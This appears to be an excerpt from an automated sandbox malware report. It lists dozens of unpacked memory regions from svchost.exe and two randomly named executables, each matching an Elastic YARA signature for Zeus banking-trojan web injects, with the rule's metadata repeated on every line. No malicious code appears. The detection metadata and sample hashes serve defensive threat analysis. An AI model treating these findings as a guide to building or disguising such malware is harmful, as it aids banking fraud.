Source: 2.3.svchost.exe.5450000.15.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.47.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.2cd1c00.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.16.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.36.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.71.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 10.2.NcYLgtXIKJgHj.exe.14c2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 28.2.NcYLgtXIKJgHj.exe.2eb0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.25.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.63.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.49.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.71.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.14.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29f3c00.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.Bpfz752pYZ.exe.407000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.48.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.881000.4.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.17.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.NcYLgtXIKJgHj.exe.16e2000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.16.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.66.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.59.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.58.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 28.2.NcYLgtXIKJgHj.exe.2d12000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.43.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 6.2.NcYLgtXIKJgHj.exe.16e2000.1.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.8.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.7.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.37.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 20.2.NcYLgtXIKJgHj.exe.27d0000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0.2.Bpfz752pYZ.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.32.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.33.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.30.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.33.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.65.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.2.svchost.exe.29a2000.2.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.65.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 31.2.NcYLgtXIKJgHj.exe.2792000.1.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.57.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 2.3.svchost.exe.2d30000.55.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
